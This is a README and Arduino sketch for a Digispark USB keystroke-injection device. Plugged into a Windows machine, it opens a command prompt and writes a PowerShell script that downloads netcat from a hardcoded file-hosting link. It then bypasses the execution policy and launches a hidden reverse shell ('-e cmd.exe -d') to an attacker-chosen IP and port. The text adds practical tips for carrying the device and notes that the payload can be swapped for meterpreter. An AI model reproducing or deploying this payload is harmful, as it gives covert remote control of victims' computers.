Digispark Arduino Reverse Shell for windows 10

Although designed for windows 10 this script will work for windows vista onwards.

A digispark arduino script to pop a reverse hidden shell to a specified ip address using netcat.

I recommend wrapping the pcb with electrical tape with small holes for the LED's to avoid shortages when transporting the device such as in the image below.

The listening machine will need to be running before the script is run.

This script can be easily modified to pop a reverse meterpreter shell instead of netcat.

link to download netcat has been hardcoded but can be replaced if wanted. To do this change the url to a direct download url of nc64.exe. you can find standalone netcat from here: https://eternallybored.org/misc/netcat/

This script has been optimised to run on the digisparks limited memory requirements.

Warning: depending on the model of digispark the onboard led might be on pin 0 instead of 1.

LED Run-status: The LED will blink to state the code has started running. Once the code execution has completed the LED will stay illuminated and thus the device can be unplugged.

replace IP and PORT with your own values.

#include "DigiKeyboard.h"
/* Init function */
//script created by valkyrix.github.io
void setup()
{//turn LED off while code is running, this means the device is safe to unplug as soon as the LED turns back on
  pinMode(1, OUTPUT); //LED on Model A
  digitalWrite(1, HIGH);
  DigiKeyboard.delay(500);
  digitalWrite(1, LOW);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(100);
  DigiKeyboard.println("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.println("cd / & mkdir win & cd /win & echo (wget 'https://1fichier.com/?dtc7uqmikl' -OutFile a.exe) > b.ps1");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(50);
  DigiKeyboard.println("powershell -ExecutionPolicy ByPass -File b.ps1");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(50);
  DigiKeyboard.println("START /MIN a.exe IP PORT -e cmd.exe -d & exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  digitalWrite(1, HIGH);
}
